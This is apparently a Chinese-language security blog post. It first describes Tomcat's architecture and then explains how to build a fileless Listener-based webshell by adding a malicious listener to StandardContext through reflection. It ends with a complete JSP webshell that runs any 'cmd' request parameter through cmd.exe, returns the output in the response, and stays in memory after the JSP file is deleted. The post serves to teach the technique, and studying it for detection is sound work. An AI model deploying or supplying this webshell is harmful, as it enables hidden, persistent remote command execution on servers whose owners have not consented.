一、Tomcat介紹
Tomcat的主要功能
tomcat作為一個 Web 伺服器,實現了兩個非常核心的功能:
- Http 伺服器功能:進行 Socket 通訊(基於 TCP/IP),解析 HTTP 報文
- Servlet 容器功能:載入和管理 Servlet,由 Servlet 具體負責處理 Request 請求
以上兩個功能,分別對應著tomcat的兩個核心元件聯結器(Connector)和容器(Container),聯結器負責對外交流(完成 Http 伺服器功能),容器負責內部處理(完成 Servlet 容器功能)。
-
Server
Server 伺服器的意思,代表整個 tomcat 伺服器,一個 tomcat 只有一個 Server Server 中包含至少一個 Service 元件,用於提供具體服務。 -
Service
服務是 Server 內部的元件,一個Server可以包括多個Service。它將若干個 Connector 元件繫結到一個 Container -
Connector
稱作聯結器,是 Service 的核心元件之一,一個 Service 可以有多個 Connector,主要連線客戶端請求,用於接受請求並將請求封裝成 Request 和 Response,然後交給 Container 進 行處理,Container 處理完之後在交給 Connector 返回給客戶端。
-
Container
負責處理使用者的 servlet 請求
Connector聯結器
聯結器主要完成以下三個核心功能:
- socket 通訊,也就是網路程式設計
- 解析處理應用層協議,封裝成一個 Request 物件
- 將 Request 轉換為 ServletRequest,將 Response 轉換為 ServletResponse
以上分別對應三個元件 EndPoint、Processor、Adapter 來完成。Endpoint 負責提供請求位元組流給Processor,Processor 負責提供 Tomcat 定義的 Request 物件給 Adapter,Adapter 負責提供標準的 ServletRequest 物件給 Servlet 容器。
Container容器
Container元件又稱作Catalina,其是Tomcat的核心。在Container中,有4種容器,分別是Engine、Host、Context、Wrapper。這四種容器成套娃式的分層結構設計。
四種容器的作用:
- Engine
表示整個 Catalina 的 Servlet 引擎,用來管理多個虛擬站點,一個 Service 最多隻能有一個 Engine,但是一個引擎可包含多個 Host - Host
代表一個虛擬主機,或者說一個站點,可以給 Tomcat 配置多個虛擬主機地址,而一個虛擬主機下可包含多個 Context - Context
表示一個 Web 應用程式,每一個Context都有唯一的path,一個Web應用可包含多個 Wrapper - Wrapper
表示一個Servlet,負責管理整個 Servlet 的生命週期,包括裝載、初始化、資源回收等
如以下圖,a.com和b.com分別對應著兩個Host
tomcat的結構圖:
二、Listener記憶體馬
請求網站的時候, 程式先執行listener監聽器的內容:Listener -> Filter -> Servlet
Listener是最先被載入的, 所以可以利用動態註冊惡意的Listener記憶體馬。而Listener分為以下幾種:
- ServletContext,伺服器啟動和終止時觸發
- Session,有關Session操作時觸發
- Request,訪問服務時觸發
其中關於監聽Request物件的監聽器是最適合做記憶體馬的,只要訪問服務就能觸發操作。
ServletRequestListener介面
如果在Tomcat要引入listener,需要實現兩種介面,分別是LifecycleListener
和原生EvenListener
。
實現了LifecycleListener
介面的監聽器一般作用於tomcat初始化啟動階段,此時客戶端的請求還沒進入解析階段,不適合用於記憶體馬。
所以來看另一個EventListener
介面,在Tomcat中,自定義了很多繼承於EventListener
的介面,應用於各個物件的監聽。
重點來看ServletRequestListener
介面
ServletRequestListener
用於監聽ServletRequest
物件的建立和銷燬,當我們訪問任意資源,無論是servlet、jsp還是靜態資源,都會觸發requestInitialized
方法。
在這裡,通過一個demo來介紹下ServletRequestListener
與其執行流程
配置tomcat原始碼除錯環境:https://zhuanlan.zhihu.com/p/35454131
寫一個繼承於ServletRequestListener
介面的TestListener
:
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("執行了TestListener requestDestroyed");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("執行了TestListener requestInitialized");
}
}
在web.xml中配置:
<listener>
<listener-class>test.TestListener</listener-class>
</listener>
訪問任意的路徑:http://127.0.0.1:8080/11
可以看到控制檯列印了資訊,tomcat先執行了requestInitialized
,然後再執行了requestDestroyed
requestInitialized:在request物件建立時觸發
requestDestroyed:在request物件銷燬時觸發
StandardContext物件
StandardContext
物件就是用來add惡意listener的地方
接以上環境,直接在requestInitialized
處下斷點,訪問url後,顯示出整個呼叫鏈
通過呼叫鏈發現,Tomcat在StandardHostValve
中呼叫了我們定義的Listener
跟進context.fireRequestInitEvent
,在如圖紅框處呼叫了requestInitialized
方法
往上追蹤後發現,以上的listener是在StandardContext#getApplicationEventListeners
方法中獲得的
在StandardContext#addApplicationEventListener
新增了listener
這時候我們思路是,呼叫StandardContext#addApplicationEventListener
方法,add我們自己寫的惡意listener
在jsp中如何獲得StandardContext
物件
方式一:
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
方式二:
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
以下是網路上公開的記憶體馬:
test.jsp
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener listenerDemo = new MyListener();
context.addApplicationEventListener(listenerDemo);
%>
首先訪問上傳的test.jsp生成listener記憶體馬,之後即使test.jsp刪除,只要不重啟伺服器,記憶體馬就能存在。